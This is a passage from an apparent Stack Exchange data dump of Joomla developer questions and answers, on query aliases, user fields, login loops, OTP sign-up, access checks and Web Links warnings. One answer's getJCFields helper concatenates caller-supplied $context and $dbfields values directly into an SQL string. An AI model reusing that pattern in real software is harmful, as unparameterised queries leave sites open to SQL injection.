error.&lt;/p&gt;&#xA;&lt;p&gt;the returned query has &lt;code&gt;b&lt;/code&gt;.&lt;code&gt;id AS myStuff&lt;/code&gt;,&lt;/p&gt;&#xA;&lt;p&gt;rather than&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;b&lt;/code&gt;.&lt;code&gt;id&lt;/code&gt; AS myStuff,&lt;/p&gt;&#xA;&lt;p&gt;I've tried all the combinations I can think of for the clause but no matter what I use I get an error.&lt;/p&gt;&#xA;&lt;p&gt;Can someone tell me that correct format for using an AS clause in the query?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I've found that if I remove the b.id AS line and then add a separate&lt;/p&gt;&#xA;&lt;p&gt;$query-&amp;gt;select('b.id AS myStuff');&lt;/p&gt;&#xA;&lt;p&gt;the query works although the ` marks are missing.  Not sure if I'm missing some other way of tackling it all within the original query.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-08-18T13:11:56.907" LastActivityDate="2020-08-18T14:29:20.743" Title="Mysqli using AS clause not working" Tags="|joomla-3.x|mysql|php7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28366" PostTypeId="2" ParentId="28365" CreationDate="2020-08-18T14:29:20.743" Score="2" Body="&lt;p&gt;Alias should be passed as second argument to &lt;code&gt;quoteName()&lt;/code&gt;. When first argument is an array, second argument should also be an array of the same length. For columns without values you should pass &lt;code&gt;null&lt;/code&gt;. Which doesn't look good in your case:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(&#xA;        $db-&amp;gt;quoteName(&#xA;            array(&#xA;                'a.id',&#xA;                'a.address_one',&#xA;                'a.address_three',&#xA;                'a.address_two',&#xA;                'b.id',&#xA;                'b.person_id',&#xA;                'b.packages_id',&#xA;                'b.payment_date',&#xA;            ),&#xA;            array(&#xA;                null,&#xA;                null,&#xA;                null,&#xA;                null,&#xA;                'myStuff',&#xA;                null,&#xA;                null,&#xA;                null,&#xA;            )&#xA;        )&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can break out the column with alias as you already mentioned. If you want to keep it quoted (which in reality isn't necessary unless identifiers contain reserved keywords), just wrap it in a separate &lt;code&gt;quoteName()&lt;/code&gt; call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&#xA;    $db-&amp;gt;quoteName(&#xA;        array(&#xA;            'a.id',&#xA;            'a.address_one',&#xA;            'a.address_three',&#xA;            'a.address_two',&#xA;            'b.person_id',&#xA;            'b.packages_id',&#xA;            'b.payment_date',&#xA;        )&#xA;    )&#xA;)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('b.id', 'myStuff'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Personally I prefer passing an array of individually quoted columns. It's more code to write but also allows mixing columns with/without aliases and expressions inside single &lt;code&gt;select()&lt;/code&gt; call. And it's also faster due to how &lt;code&gt;quoteName()&lt;/code&gt; currently handles arrays.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&#xA;    array(&#xA;        // Allows column without alias.&#xA;        $db-&amp;gt;quoteName('a.id'),&#xA;        // Allows column with alias.&#xA;        $db-&amp;gt;quoteName('b.id', 'myStuff'),&#xA;        // Allows expressions.&#xA;        COUNT(*),&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-08-18T14:29:20.743" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28367" PostTypeId="1" CreationDate="2020-08-18T14:55:22.060" Score="0" ViewCount="73" Body="&lt;p&gt;I created a module that allows administrators to select a specific user for the module to handle. Problem is, the once a user is selected in the modal, the field displays the user's name and my clients have multiple users with the same/similar names. Is it possible to change the displayed value to be the user's username or email?&lt;/p&gt;&#xA;&lt;p&gt;Current output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zaLGy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zaLGy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Desired output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CMcsp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMcsp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2024-01-01T20:05:20.643" Title="Is it possible to change what value appears in user form field?" Tags="|form-fields-types|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28368" PostTypeId="1" CreationDate="2020-08-19T00:04:17.163" Score="1" ViewCount="47" Body="&lt;p&gt;I have some users who are stuck in a loop where entering their login information redirects them back to the login page and nothing happens. A few were able to get around this by using another device or Google Chrome, but others cannot log in no matter what. Chrome on my PC works perfectly fine but I was able to replicate the issue on my phone (Safari). Recently a couple users are unable to register as well (as in they fill out the registration form but it loops them back to the registration page with fields blank).&#xA;Site is on Joomla 2.5 and cannot be upgraded.&lt;/p&gt;&#xA;&lt;p&gt;Any help or ideas are appreciated, thank you!&lt;/p&gt;&#xA;" OwnerUserId="14470" LastActivityDate="2020-08-19T00:04:17.163" Title="Some users cannot log in on frontend" Tags="|joomla-2.5|login|front-end|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28369" PostTypeId="1" CreationDate="2020-08-19T07:55:31.477" Score="0" ViewCount="304" Body="&lt;p&gt;As per mentioned in subject, my website is generating the following error when the user fails to search with a keyword:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Call to a member function getState() on bool in search bar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Can anyone please advise me on this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d6gs6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6gs6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;p&lt;a href=&quot;https://i.stack.imgur.com/QF0nx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QF0nx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14471" LastEditorUserId="12352" LastEditDate="2020-08-20T05:55:52.667" LastActivityDate="2021-05-17T08:03:45.363" Title="0 Call to a member function getState() on bool in search bar" Tags="|search|joomla-3.9|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28370" PostTypeId="2" ParentId="28369" CreationDate="2020-08-19T08:22:57.693" Score="1" Body="&lt;p&gt;That looks like a Yootheme template to me and I've experienced similar errors when updating Yootheme Pro when I've had a template override in place.&lt;/p&gt;&#xA;&lt;p&gt;You might want to check if there's a template override for the search results page and if there is, try disabling to see if it fixes the error.&lt;/p&gt;&#xA;" OwnerUserId="13675" LastActivityDate="2020-08-19T08:22:57.693" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28371" PostTypeId="1" CreationDate="2020-08-19T10:15:35.850" Score="0" ViewCount="408" Body="&lt;p&gt;I had a request to build a website for a targeted market that is allow its user to signup using their phone number only without entering email address just like mobile apps nowadays. I know this can be done with php framework such laravel + Firebase, but I'm just wondering, is this possible to be done with joomla 3.x or joomla 4.x maybe?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2020-11-26T03:31:13.023" Title="Sign Up / Login with just OTP" Tags="|joomla-3.x|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28372" PostTypeId="2" ParentId="28367" CreationDate="2020-08-19T11:31:09.963" Score="0" Body="&lt;p&gt;In your &lt;code&gt;&amp;lt;field&amp;gt;&lt;/code&gt; declaration, you can use the &lt;code&gt;value_field&lt;/code&gt; attribute to specify an alternate column in its current context - e.g. &lt;code&gt;value_field=&amp;quot;somethingelse&amp;quot;&lt;/code&gt; will use the &lt;code&gt;somethingelse&lt;/code&gt; column as the displayed value. See user field documentation &lt;a href=&quot;https://docs.joomla.org/User_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for info.&lt;/p&gt;&#xA;&lt;p&gt;However, I don't think this will help you achieve what you're looking to do. For this purpose, I'd be inclined to use a SQL field type instead, but that really depends on what your intended purpose is for this field - needs further clarity on your purpose &amp;quot;for the module to handle&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-19T11:31:09.963" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28373" PostTypeId="1" CreationDate="2020-08-19T16:01:38.227" Score="0" ViewCount="65" Body="&lt;p&gt;Is there a quick block of a code where given a user ID and a menu item ID, I could quickly check it the user is authorized to open that page?&lt;/p&gt;&#xA;&lt;p&gt;So far I have this, but it feels like I'm jumping through too many hoops and might be missing something.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$access = JFactory::getUser(*id*)-&amp;gt;getAuthorisedViewLevels();&#xA;$link = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getItem(*id*);&#xA;if (in_array($link-&amp;gt;access, $access)) {&#xA;    // Has access&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I check both the user and menu helpers, and I didn't see anything that looked like it did what I was looking for.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2020-08-19T22:10:39.917" Title="Is there a quick method to check if a user has access to a specific page?" Tags="|joomla-3.x|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28374" PostTypeId="2" ParentId="28373" CreationDate="2020-08-19T22:10:39.917" Score="1" Body="&lt;p&gt;Yes, check both the menu exists and if the user has access:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Factory;&#xA;&#xA;if ($menuItem = Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getItem($id))&#xA;{&#xA;    if (in_array($menuItem-&amp;gt;access, Factory::getUser()-&amp;gt;getAuthorisedViewLevels()))&#xA;    {&#xA;        echo &amp;quot;User has access&amp;quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &amp;quot;User can NOT access&amp;quot;;&#xA;    }&#xA;}&#xA;else&#xA;{&#xA;    echo &amp;quot;Menu item not found&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-19T22:10:39.917" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28375" PostTypeId="2" ParentId="28371" CreationDate="2020-08-20T13:18:43.023" Score="1" Body="&lt;p&gt;In the Joomla Extension Directory there is a free OTP plugin for Joomla available that uses an external commercial SMS (Text message) provider:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OTP Verification For Joomla&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/otp-verification-for-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/otp-verification-for-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Maybe you can use the plugin + its SMS provider as solution, or use the code to develop your own Firebase OTP plugin?&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-08-20T13:18:43.023" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28377" PostTypeId="1" CreationDate="2020-08-21T15:28:09.787" Score="1" ViewCount="134" Body="&lt;p&gt;I recently noticed we have an error on our List of Link categories page (using Menu Item Type: List All Web Link Categories).  There are no errors in the log.  We are running php version 7.3.21 and Joomla! 3.9.20. Can anyone help with this?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: count(): Parameter must be an array or an object that implements Countable in /home/milfordu3a/public_html/components/com_weblinks/models/categories.php on line 95&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2020-08-24T03:18:51.417" Title="Error with Web Links" Tags="|error-warning|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28378" PostTypeId="2" ParentId="21158" CreationDate="2020-08-21T20:48:17.787" Score="4" Body="&lt;h3&gt;This function will allow display of JCFields anywhere in any extension desired, including templates.&lt;/h3&gt;&#xA;&lt;p&gt;The first parameter is the only requirement and will dump the JCF data, based on the item ID inserted. The default context is &lt;strong&gt;com_content.article&lt;/strong&gt; and that can be set to any context where JCF data is held.&lt;/p&gt;&#xA;&lt;p&gt;The second param is the &lt;strong&gt;field ID&lt;/strong&gt;. If set, the data for that single custom field will be retrieved.&lt;/p&gt;&#xA;&lt;p&gt;The third param will allow calls to specific JCF database fields. This is ideal for minimal data retrieval. It is triggered only when a single &lt;strong&gt;$srcId&lt;/strong&gt; value is detected. I considered using a boolean method to allow choosing when needed, but I didn't need it for the project. It can be modified as desired.&lt;/p&gt;&#xA;&lt;p&gt;The last param will set the context value such as &lt;strong&gt;com_users.users&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function getJCFields($srcId, $fieldId=null, $dbfields=null, $context=null)&#xA;{&#xA;    if( is_null($context) )&#xA;        $context = 'com_content.article';&#xA;    &#xA;    if( is_array($srcId) || is_object($srcId) ) {&#xA;        JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR.'/components/com_fields/helpers/fields.php');&#xA;        $jfields = FieldsHelper::getFields($context, $srcId, true);&#xA;    }&#xA;    else&#xA;    if( is_int($srcId) ) &#xA;    {&#xA;        if( is_null($dbfields) )&#xA;            $dbfields = 'id,label,value,item_id';&#xA;        &#xA;        $db = JFactory::getDbo();&#xA;        $db-&amp;gt;setQuery('&#xA;        SELECT '.$dbfields.'&#xA;        FROM #__fields &#xA;        LEFT JOIN #__fields_values ON #__fields.id = #__fields_values.field_id&#xA;        WHERE context = &amp;quot;'.$context.'&amp;quot; &#xA;        AND #__fields_values.item_id = '.$srcId.'&#xA;        AND #__fields.state = 1&#xA;        ');&#xA;        &#xA;        $jfields = $db-&amp;gt;loadObjectList();&#xA;    }&#xA;    &#xA;    $fieldval=[];&#xA;    foreach($jfields as $val)&#xA;    {&#xA;        $fieldval[$val-&amp;gt;id] = (object)['label'=&amp;gt;$val-&amp;gt;label,'value'=&amp;gt;$val-&amp;gt;value];&#xA;    }&#xA;    &#xA;    $fval = $fieldval;&#xA;    if( !is_null($fieldId) ) {&#xA;        $fval = $fieldval[$fieldId];&#xA;    }&#xA;&#xA;    return $fval;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Usage Methods&lt;/h3&gt;&#xA;&lt;p&gt;Set a variable with the source item and category ID as an associative array&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$srcid = ['id'=&amp;gt;24, 'catid'=&amp;gt;5];    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Get field label&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getJCFields($srcid, 9)-&amp;gt;label;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Get field value&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getJCFields($srcid, 9)-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: each output instance should be cased in a &lt;strong&gt;!empty()&lt;/strong&gt; condition&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course the conditional check can be written into the function for better completeness in the process.&lt;/p&gt;&#xA;&lt;h3&gt;Get creative with an array of fields&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fields = [2,3,4,5,6,8];&#xA;&#xA;$cell=[];&#xA;foreach($fields as $fid) &#xA;{&#xA;    $lbl = getJCFields($srcid, $fid)-&amp;gt;label;&#xA;    $val = getJCFields($srcid, $fid)-&amp;gt;value;&#xA;    if( !empty($val) ) {&#xA;        $cell[] = '&amp;lt;div class=&amp;quot;tr&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;cell lbl&amp;quot;&amp;gt;'.$lbl.'&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;cell val&amp;quot;&amp;gt;'.$val.'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;$fieldtbl = '&#xA;&amp;lt;div class=&amp;quot;tbl chart&amp;quot;&amp;gt;&#xA;    '.implode('', $cell).'&#xA;&amp;lt;/div&amp;gt;&#xA;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Other use&lt;/h3&gt;&#xA;&lt;p&gt;If you just want to get the JCF array for an item, then use within your special function, just use only the &lt;strong&gt;item ID&lt;/strong&gt; for a minimal DB query for specific rows.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note the &lt;strong&gt;ID must be an integer&lt;/strong&gt; so it must &lt;strong&gt;not&lt;/strong&gt; be enclosed in quotes&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;From &lt;strong&gt;com_content&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getJCFields(293);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From &lt;strong&gt;com_users&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: the $dbfields param can use aliases&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getJCFields(16, null, 'id,value,label,item_id AS uid', 'com_users.user');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Output array&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; stdClass Object&#xA;        (&#xA;            [id] =&amp;gt; 2&#xA;            [label] =&amp;gt; Address&#xA;            [value] =&amp;gt; 400 W Church St #200, Orlando, FL 32801&#xA;            [item_id] =&amp;gt; 293&#xA;        )&#xA;&#xA;    [1] =&amp;gt; stdClass Object&#xA;        (&#xA;            [id] =&amp;gt; 4&#xA;            [label] =&amp;gt; Phone&#xA;            [value] =&amp;gt; 407-440-7900&#xA;            [item_id] =&amp;gt; 293&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;end&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/em&gt; Alternative to get data from elements not included in the default return object which output only &lt;em&gt;label&lt;/em&gt; and &lt;em&gt;value&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getJCFields($srcid)[9]-&amp;gt;author_name;&#xA;getJCFields($srcid)[9]-&amp;gt;params;&#xA;getJCFields($srcid)[9]-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2020-08-23T04:56:11.643" LastActivityDate="2020-08-23T04:56:11.643" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28379" PostTypeId="1" CreationDate="2020-08-22T14:09:46.350" Score="2" ViewCount="52" Body="&lt;p&gt;I am trying to practice Joomla database query. For learning purpose, I'd like to know in a blank PHP file under Joomla's root folder, which files do I need to include to be able to do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-08-23T17:10:43.907" Title="Which files do i need to include to perform database query?" Tags="|database|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28380" PostTypeId="2" ParentId="28379" CreationDate="2020-08-22T14:33:53.263" Score="2" Body="&lt;p&gt;You will need to load the Joomla framework at the top of the PHP file, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', './'); // Assumes the PHP file is in the Joomla's root directory&#xA;require_once JPATH_BASE . 'includes/defines.php';&#xA;require_once JPATH_BASE . 'includes/framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can then write your database query, for example, to load all the data from the &lt;code&gt;#__users&lt;/code&gt; table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', './');&#xA;require_once JPATH_BASE . 'includes/defines.php';&#xA;require_once JPATH_BASE . 'includes/framework.php';&#xA;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;$db = Factory::getDbo();&#xA;$db-&amp;gt;setQuery(&#xA;    $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from($db-&amp;gt;qn('#__users'))&#xA;);&#xA;$users = $db-&amp;gt;loadObjectList();&#xA;&#xA;var_dump($users);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-08-23T17:10:43.907" LastActivityDate="2020-08-23T17:10:43.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28381" PostTypeId="1" CreationDate="2020-08-22T16:03:52.050" Score="1" ViewCount="52" Body="&lt;p&gt;I edited the &lt;code&gt;\components\com_content\views\article\tmpl\default.php&lt;/code&gt; file to suit my needs, and to output a customized string instead of the default H1 header. The site was running all OK, but &lt;em&gt;when I created a new menu item that I needed&lt;/em&gt;, using the backend admin interface, &lt;strong&gt;I lost the PHP file &lt;code&gt;default.php&lt;/code&gt; modifications&lt;/strong&gt;, and it got restored to its initial values. Why did this happen?&lt;/p&gt;&#xA;" OwnerUserId="14475" LastEditorUserId="9485" LastEditDate="2023-01-17T15:33:25.987" LastActivityDate="2023-01-17T15:33:25.987" Title="Why do the default PHP Joomla! files get restored without asking?" Tags="|joomla-3.x|php|default|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28382" PostTypeId="2" ParentId="28381" CreationDate="2020-08-22T17:13:40.967" Score="2" Body="&lt;p&gt;I have a hard time believing that the file was updated when creating a new menu item. It was more likely updated when updating Joomla. And that is expected. You should never modify core files, they will be overwritten when updating.&lt;/p&gt;&#xA;&lt;p&gt;Instead you should create a copy of the template and then create layout overrides. There is plenty of documentation regarding this topic:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-08-22T17:13:40.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28383" PostTypeId="2" ParentId="28377" CreationDate="2020-08-23T23:51:32.880" Score="3" Body="&lt;p&gt;This is a reported issue which can be seen &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/23172&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the tracker&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Steps to reproduce the issue&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Weblinks 3.6.0 Package from&#xA;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/official-extensions/weblinks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/official-extensions/weblinks/&lt;/a&gt;&#xA;on Joomla 3.9.0 using PHP 7.2 and set to report PHP warnings.&lt;/li&gt;&#xA;&lt;li&gt;Go to Components - Web Links and add any URL as New Web Link to the existing category Uncategorised with default options, Save &amp;amp; Close.&lt;/li&gt;&#xA;&lt;li&gt;Create a new menu item and select Web Links - List All Web Link Categories with default options, Save &amp;amp; Close.&lt;/li&gt;&#xA;&lt;li&gt;Go to the front end and select the new link.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Expected result&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The list shows the category Uncategorised.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Actual result&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: count(): Parameter must be an array or an object that implements Countable in C:\www\joomla380\components\com_weblinks\models\categories.php on line 95&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The list shows the category Uncategorised.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;System information (as much as possible)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla 3.9.0&lt;/p&gt;&#xA;&lt;p&gt;PHP 7.2.11&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Additional comments&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Fixed by inserting the following lines before line 95 in components/com_weblinks/models/categories.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  if (!is_array($this-&amp;gt;_items)) {&#xA;      $this-&amp;gt;_items = array();&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Ref. topic &amp;quot;Weblinks Categories page - Warning: count()&amp;quot; at &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=715&amp;amp;t=967481&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=715&amp;amp;t=967481&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="12352" LastEditDate="2020-08-24T03:18:51.417" LastActivityDate="2020-08-24T03:18:51.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28384" PostTypeId="1" CreationDate="2020-08-24T07:12:19.253" Score="0" ViewCount="42" Body="&lt;p&gt;This is the error message we get on a page generated form a menu item using Web Links &amp;gt; List Web Links in a Category:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Creating default object from empty value in /home/milfordu3a/public_html/components/com_weblinks/views/category/tmpl/default_items.php on line 17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is for php vn. 7.4.9 and Joomla vn. 3.9.20&lt;/p&gt;&#xA;&lt;p&gt;Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2020-08-24T07:12:19.253" Title="Errors on Web-links: list of links in Category on update to php vn 7.4" Tags="|weblinks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28385" PostTypeId="1" CreationDate="2020-08-24T09:59:30.540" Score="0" ViewCount="218" Body="&lt;p&gt;I need to create a custom SSO plugin. The way it should work is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User authenticates on 3rd party application&lt;/li&gt;&#xA;&lt;li&gt;3rd party application calls a Joomla URL via POST request&lt;/li&gt;&#xA;&lt;li&gt;The URL that has been hit deals with authentication on Joomla's end&lt;/li&gt;&#xA;&lt;li&gt;User is logged in both on Joomla and on 3rd party application&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I know how to create a custom plugin for authentication as I've done it in the past, but I can't find a way to expose a plugin URL for point 2. Is there a way to expose a plugin URL, or is there any other way to achieve the above? Users will register and login on the 3rd party application, but I still need them authenticated on the Joomla website. Thank you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have tried to implement the procedure outlined below, including the plugin from a component, but it's not working.&lt;/p&gt;&#xA;&lt;p&gt;/components/com_testauth/controllers/sso.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class TestAuthControllerSso extends JControllerLegacy&#xA;{&#xA; public function auth() {&#xA;    JPluginHelper::importPlugin('user');&#xA;    JPluginHelper::importPlugin('authentication');&#xA;    $dispatcher = JEventDispatcher::getInstance();&#xA;    $options = 